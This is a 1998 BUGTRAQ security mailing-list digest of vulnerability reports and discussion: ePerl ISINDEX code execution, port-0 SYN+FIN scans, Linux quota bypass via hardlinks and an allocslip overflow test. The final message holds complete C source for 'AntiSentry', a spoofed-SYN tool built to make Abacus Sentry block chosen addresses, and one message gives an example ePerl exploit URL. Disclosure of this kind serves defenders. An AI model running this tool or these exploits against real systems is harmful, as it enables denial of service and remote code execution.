(Message /3/bishop/Mail/inbox:37) Return-Path: owner-BUGTRAQ@NETSPACE.ORG Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143]) by nob.cs.ucdavis.edu (8.8.8/8.8.7) with ESMTP id VAA17607 for ; Wed, 8 Jul 1998 21:06:09 -0700 (PDT) (envelope-from owner-BUGTRAQ@NETSPACE.ORG) Received: from unknown@netspace.org (port 32352 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <80634-9707>; Thu, 9 Jul 1998 00:07:18 -0400 Date: Thu, 9 Jul 1998 00:04:57 -0400 Reply-To: Bugtraq List Sender: Bugtraq List From: Automatic digest processor Subject: BUGTRAQ Digest - 7 Jul 1998 to 8 Jul 1998 To: Recipients of BUGTRAQ digests Message-Id: <19980709040718Z80634-9707+9@brimstone.netspace.org> There are 9 messages totalling 599 lines in this issue. Topics of the day: 1. Sun libnsl lameness 2. ePerl: bad handling of ISINDEX queries (2) 3. SmurfLog 1.0 4. port 0 scanning 5. Linux kernel filesystem oddities (2) 6. allocslip 7. sentry ---------------------------------------------------------------------- Date: Mon, 6 Jul 1998 22:00:25 -0400 From: Allanah Myles Subject: Re: Sun libnsl lameness On 1998.07.01, George Clooney wrote: > These vulnerabilities are present in Sun Microsystem's > Solaris 2.2, 2.3, 2.4 and 2.5.1. They fail to mention 2.6 - is this because this announcement was pre-2.6, or is it fixed in 2.6? If it exists in 2.6, I'm going to scream. This is another perfect example of why Sun should go back into the hardware design and architecture business, and get OUT of the OS/software business. Leave software design to real software designers. -Dossy -- URL: http://www.panoptic.com/~dossy -< BORK BORK! >- E-MAIL: dossy@panoptic.com Now I'm who I want to be, where I want to be, doing what I've always said I would and yet I feel I haven't won at all... (Aug 9, 95: Goodbye, JG.) "You should change your .sig; not that the world revolves around me." -s. sadie ------------------------------ Date: Mon, 6 Jul 1998 22:39:24 -0300 From: Tiago Luz Pinto Subject: ePerl: bad handling of ISINDEX queries (ePerl is an embedded Perl Interpreter for HTTP servers) * Description: Incorrect Handling of ISINDEX queries (command line argument) when ePerl runs as a nph-cgi/cgi. * Cause: According with the CGI/1.1 specification, the HTTP server executes CGI's passing the ISINDEX field as a command line argument. When ePerl runs and gets this argument (argc > 1), it fails to set MODE_CGI, then tries to open the argument for parsing/executing. This can lead to arbitrary Perl code being executed on the server. * Example: http://foo.com/some/dir/doit.phtml?/home/ftp/incoming/executemycode.phtml +----------------------------------------------------------------------+ | Tiago Luz Pinto tiago@eps.ufsc.br | | | | Network Administrator - Department of Production Engineering | | Federal University of Santa Catarina - Brazil | +----------------------------------------------------------------------+ ------------------------------ Date: Tue, 7 Jul 1998 03:02:50 +0400 From: Solar Designer Subject: Re: SmurfLog 1.0 Hello, > SmurfLog 1.0 by Bug Lord. A program to assist logging of smurf attacks. Nice.., but from a quick look at the source, there're a few problems: 1. Are you sure that reading from a raw ICMP socket strips the IP options out, and does that on all the operating systems you're trying to support? (I'm not even sure if there's at least one that does so.) If the packets were sent directly by the attacker (and not by the smurf amplifiers), it looks like an attacker might at least avoid detection by sending packets with IP options to change the offset of ICMP header in the data you get from the socket. While this doesn't seem to be a problem for detecting smurf attacks, it probably is a problem if you try to detect direct ping floods also. 2. The code fails to drop its group privileges, because of the wrong order of setuid() and setgid() calls. This doesn't look too dangerous in this case, but still isn't what you meant to code. It's also a bad idea to not check the return value from syscalls, especially ones like setgid(). 3. There're also several "generic" IDS problems in your code, including things pointed out by SNI in their paper (like the fact that this might miss packets under heavy load; probably not really important in the smurf case, but still should be realized), and things I mentioned in my Phrack 53 article (coming "soon", I hope), like the usage of qsort(3) and dynamic memory allocation being dangerous in such applications. There're obviously log flood issues also. Now, why this goes to BugTraq. I would normally reply privately (or even be too lazy to reply at all), but since there was a port scan detection patch mentioned on BugTraq recently, which had some similar problems (the "generic" ones), I thought it's worth pointing people to my little article (too bad it's not out yet), so that they read it before making such tools. BTW, the article uses port scans as an example, and discusses all parts of such a simplified IDS. (Note: I'm not into IDS development, but am tired of seeing broken tools out there, especially Abacus Sentry, which made me finally write this. Your SmurfLog is in fact not that bad.;-) Signed, Solar Designer ------------------------------ Date: Wed, 8 Jul 1998 00:16:54 -0700 From: Lamont Granquist Subject: port 0 scanning -----BEGIN PGP SIGNED MESSAGE----- We just recently got hit by a bunch of port 0 scans of IMAP. A sample packet dumped from tcpdump looks like this: 08:59:26.428386 195.2.130.209.0 > chocolate.hitl.washington.edu.imap: SF 973406208:973406208(0) win 512 4500 0028 5f02 0000 e906 621b c302 82d1 E..(_...i.b.C..Q 805f 4a7f 0000 008f 3a05 0000 0000 0000 ._J.....:....... 5003 0200 629b 0000 0000 0000 0000 P...b......... Note that both the source port is zero, and they've turned on both TH_SYN and TH_FIN on the packet. Both of these are undoubtably in an attempt to bypass a firewall. It shoudl also be noted that the attacker probably downloaded DNS records and fed those into the probe script. On every IP stack I've checked (except for this strange DEClaser 3200 printer), the SYN+FIN scan is equivalent to a SYN scan (aka "probe" aka "half-open scan"). In general a SYN packet can have any of FIN, PSH or URG flags turned on as long as ACK and RST are turned off and IP stacks will typically respond to them as a SYN packet (at least for the purposes of initial handshaking). Major exception to this is Solaris (2.5.1 and 2.6) where turning on URG will cause packets to open ports to be dropped, but SYN + [FIN] + [PSH] will otherwise work. Uriel Maimon (Phrack P49-15) FIN scan behavior (close port = RST, open port = dropped) can also be seen with the PSH, URG or simply with a TCP packet with no flags (and all 8 permutations of FIN|PSH|URG). Generally the machines that FIN scanning does not work against (IRIX, Win95/WinNT, HP-UX) are not vulnerable to any of these alternative forms of scanning. The only remaining oddity i've found is HP-UX which allows for an 'ACK' scan (ACK + anything other than RST) which returns a different value of th_win depending on if the recieving port is open or closed. While most TCP/IP stacks are pretty similar (either 'FIN-scannable' or 'not-FIN-scannable') for the purposes of scanning, you can get a lot of information on what kind of OS the machine might be by looking at the returned packets from going through all the different 64 combinations of TCP/IP flags (c.f 'active probing', Comer+Lin, etc.). I've got a short bit of code at: http://www.hitl.washington.edu/people/lamontg/tft.c Which will 'excersize' a target machine's TCP stack and report back possible flag combinations that might be useful to use to scan the machine for open or closed ports. - -- Lamont Granquist (206)616-1469 fax:(206)543-5380 Human Interface Technology Lab. University of Washington. Seattle, WA PGP pubkey: finger -l lamontg@hitl.washington.edu | pgp -fka -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNaMc6yGfPhFbK8mBAQFAIwQAoBzieXcJeFIlvx6ipSlpJverQCGsnMcf N8eT3zM5LeAjP0xEPSIsfIFSw5xwqzZNgxABT2bw1w7iA4rKP4KW8XWuYm00V7cA PQQd5nyJa9yb1Uzj3Kfa4Jh/8Ssp3On5qT9UsfkkFFgVm/DcY39h5O+y3Hv8WB1E rbIXMKd5eeg= =qdti -----END PGP SIGNATURE----- ------------------------------ Date: Sun, 5 Jul 1998 10:12:43 +0200 From: Michal Zalewski Subject: Linux kernel filesystem oddities -----BEGIN PGP SIGNED MESSAGE----- Any amount of data, overriding quotas and kernel resource limits, can be stored in root-owned +t directory (like /tmp) - inside... filenames! It sounds strange, so here's an example: hard-links to root-owned files are NOT owned by you (so you may create any amount of them). I'm assuming directory isn't owned by you, also... And every filename can store over 100 bytes of data (255 characters). So, to store 1 MB, you need about 10000 hardlinks - it isn't such a big number. Stored data will be accounted only in directory size, and, as long as this dir is root-owned, only root will be charged for it. Ah, the same problems are with FIFOs created in root-owned dirs, because FIFO is not treated as file. To Alan: You might not argue with me, but I think there's something wrong with Linux philosophy, if any user is able to bypass kernel file limits and quotas. But it seems to be hard to fix. FIFO (and maybe other 'non-file' objects) should be probably treated as ordinary file when calculating quota. But there will be problem with hard-links - creator of this object is not saved anywhere, and his UID might be not equal to owner UID - so we can't determine who is 'responsible', and who should be accounted for it. Btw. it causes also other problems: luser can create hard-link to other user's file and move it to +t directory, but he will be unable to delete or move it back from this directory, because he isn't an owner. PS. Solar Designer's secure-linux-03 patch fixes at least hard-link problems. _______________________________________________________________________ Michal Zalewski [lcamtuf@boss.staszic.waw.pl] <= finger for pub PGP key Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch] [echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86] -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBNZ81L5ZGvqO8h0ppAQHqKwP/SDh9Yc74qypHrzdbQ7m+us9v5Blts67o KEya466w2QMt2seI8UISQxI5mL/aadvRfX2Xq0cLBDRsbPh2kIE7ARQiaAOHPpqR WSL35XagUD6IIg4NFOYWg7sm8uo9RhCiETQeMW4pcgDOhIDa2SsoFmd3fWzLfeWX Z16J+goEyCc= =GRMz -----END PGP SIGNATURE----- ------------------------------ Date: Wed, 8 Jul 1998 15:41:19 +0200 From: "M.C.Mar" Subject: Re: allocslip On Sat, 4 Jul 1998, CyberPsychotic wrote: (...) > Here's how i tested it: > pakage Dslip, version 2.03 > (sunsite.unc.edu/pub/Linux/system/Network/serial/dslip203.tgz) > The package is rather old, but I found it being used on some Linux > machines around. > gdb allocslip > > GDB is free software and you are welcome to distribute copies of it > under certain conditions; type "show copying" to see the conditions. > There is absolutely no warranty for GDB; type "show warranty" for details. > GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation, > Inc... (no debugging symbols found)... (gdb) run b_s `perl -e ' printf > "A" x 300'` [usual GDB mesages] > GO! sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: command > not found > > Program received signal SIGSEGV, Segmentation fault. > 0x41414141 in ?? () > (gdb) > I downloaded it form sunsite.unc.edu/pub/Linux/system/network/serial/dslip203.tgz, and it does not seem to be vulnerable: emsi:~/hack/dslip/slip/bin> ./allocslip b_s `perl -e ' printf "A" x 300'` GO! Or even: emsi:~/hack/dslip/slip/bin> ./allocslip b_s `perl -e ' printf "A" x 6000'` GO! It does NOT segfault (my system is Slackware 3.4 with 2.0.34 Kernel). So it was fixed or is not vulnerable at all (I tested it on both - precompiled and compiled myself). -- ___________________________________________________________________________ M.C.Mar An NT server can be run by an idiot, and usually is. emsi@it.pl "If you can't make it good, make it LOOK good." - Bill Gates Moze to nie miejsce, ale tak np. programy M$ to swoiste pomniki glupoty. ------------------------------ Date: Wed, 8 Jul 1998 19:12:20 +0200 From: Pavel Kankovsky Subject: Re: Linux kernel filesystem oddities On Sun, 5 Jul 1998, Michal Zalewski wrote: > Any amount of data, overriding quotas and kernel resource limits, can be > stored in root-owned +t directory (like /tmp) - inside... filenames! Interesting... the same idea popped up in my mind during the weekend. On the other hand, I am sure this is not Linux specific. [...] > Ah, the same problems are with FIFOs created in root-owned dirs, because > FIFO is not treated as file. > > To Alan: You might not argue with me, but I think there's something wrong with > Linux philosophy, if any user is able to bypass kernel file limits and quotas. FIFO itself occupies a single inode, no block, therefore charging inode quota but not block quota is correct. > But it seems to be hard to fix. FIFO (and maybe other 'non-file' objects) should > be probably treated as ordinary file when calculating quota. > But there will be problem with hard-links - creator of this object is... Hardlink is not a fs object, it is a directory entry. The world writable directory is a real problem. It is similar to world writable files: anyone can use them to store data on its owner. --Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ] "You can't be truly paranoid unless you're sure they have already got you." ------------------------------ Date: Wed, 8 Jul 1998 12:27:14 -0400 From: Andrew Pimlott Subject: Re: ePerl: bad handling of ISINDEX queries On Mon, 6 Jul 1998, Tiago Luz Pinto wrote: > (ePerl is an embedded Perl Interpreter for HTTP servers) > > * Description: > Incorrect Handling of ISINDEX queries (command line argument) > when ePerl runs as a nph-cgi/cgi. I notified the author of a variant of this bug last summer (which he fixed; see http://www.engelschall.com/sw/eperl/distrib/eperl-SNAP/ChangeLog). I honestly wouldn't trust eperl for a minute. These are very simple mistakes. > * Cause: > According with the CGI/1.1 specification, the HTTP > server executes CGI's passing the ISINDEX field as a command > line argument. When ePerl runs and gets this argument > (argc > 1), it fails to set MODE_CGI, then tries to > open the argument for parsing/executing. > > This can lead to arbitrary Perl code being executed on > the server. > > * Example: > http://foo.com/some/dir/doit.phtml?/home/ftp/incoming/executemycode.phtml Andrew "Do they give a Nobel Prize for attempted chemistry?" - "Sideshow" Bob Terwilliger ------------------------------ Date: Wed, 8 Jul 1998 18:50:09 +0200 From: Paul Boehm Subject: sentry hi, i took kill_identd.c from rootshell.com and modified it a bit to use it as DoS attack against servers running abacus sentry... it simply does a few spoofed tcp connections on the target host so it denies the source... nothing revolutionary, but.. here it is: /* AntiSentry v0.0b by infected based on kill_inetd.c by ???(found no credits) makes the abacus sentry program running on 'target' drop route/ipfwadm deny (to) the source address... think for your self of what use this could be.. */ #include #include #include #include #include #include #include #define NPROBES 1 #define SEQ 0x28374839 unsigned short ip_sum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); } int sock, ssock; void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) { char buf[65536]; struct { /* rfc 793 tcp pseudo-header */ unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; } ph; struct sockaddr_in sin;/* how necessary is this? */ ph.saddr=ih->saddr; ph.daddr=ih->daddr; ph.mbz=0; ph.ptcl=IPPROTO_TCP; ph.tcpl=htons(sizeof(*th)+dlen); memcpy(buf, &ph, sizeof(ph)); memcpy(buf+sizeof(ph), th, sizeof(*th)); memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen); memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4); th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1); memcpy(buf, ih, 4*ih->ihl); memcpy(buf+4*ih->ihl, th, sizeof(*th)); memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen); memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4); ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1); memcpy(buf, ih, 4*ih->ihl); sin.sin_family=AF_INET; sin.sin_port=th->dest; sin.sin_addr.s_addr=ih->daddr; if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) { perror("sendto"); exit(1); } } probe_seq(unsigned long my_ip, unsigned long their_ip, unsigned short port) { int i; struct iphdr ih; struct tcphdr th; char buf[1024]; ih.version=4; ih.ihl=5; ih.tos=0;/* XXX is this normal? */ ih.tot_len=sizeof(ih)+sizeof(th); ih.id=htons(6969); ih.frag_off=0; ih.ttl=30; ih.protocol=IPPROTO_TCP; ih.check=0; ih.saddr=my_ip; ih.daddr=their_ip; th.source=htons(9999); th.dest=htons(port); th.seq=htonl(SEQ+i); th.ack_seq=0; th.res1=0; th.doff=sizeof(th)/4; th.fin=0; th.syn=1; th.rst=0; th.psh=0; th.ack=0; th.urg=0; th.res2=0; th.window=htons(512); th.check=0; th.urg_ptr=0; send_tcp_segment(&ih, &th, &ih, 0); } unsigned long getaddr(char *name) { struct hostent *hep; hep=gethostbyname(name); if(!hep) { fprintf(stderr, "Unknown host %s\n", name); exit(1); } return *(unsigned long *)hep->h_addr; } main(int argc, char **argv) { unsigned long me=inet_addr("127.0.0.1"), victim=inet_addr("127.0.0.1"); int port=259, i=0, max=10; struct hostent *hep; printf("AntiSentry v0.0b by infected \n"); if(argc<3) { printf("\nUsage: %s dst src [port=%d] [num=%d]\n", argv[0], port, max); exit(1); } if(argc>=2) victim=getaddr(argv[1]); if(argc>=3) me=getaddr(argv[2]); if(argc>=4) port=atoi(argv[3]); if(argc>=5) max=atoi(argv[4]); printf("Src: %s\n",inet_ntoa(me)); printf("Dst: %s\n",inet_ntoa(victim)); printf("Prt: %d\n",port); printf("Num: %d\n\n",max); ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(sock<0) { perror("socket (raw)"); exit(1); } for (i=0; i < max; i++) { printf("bEEp\007 "); port++; // Comment this out if you want all connections on the same port. probe_seq(me, victim, port); } printf("\n"); } bye, paul -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Name: Paul S. Boehm || Freelance Security Consultant. Email: paul@is.destructive.org || PGPkey available at: Url: http://paul.boehm.org/ || http://paul.boehm.org/paul-pgp.asc -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- There is is no reason for any individual to have a computer in their home. --Ken Olsen (Digital Corp CEO) 1977. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ------------------------------ End of BUGTRAQ Digest - 7 Jul 1998 to 8 Jul 1998 ************************************************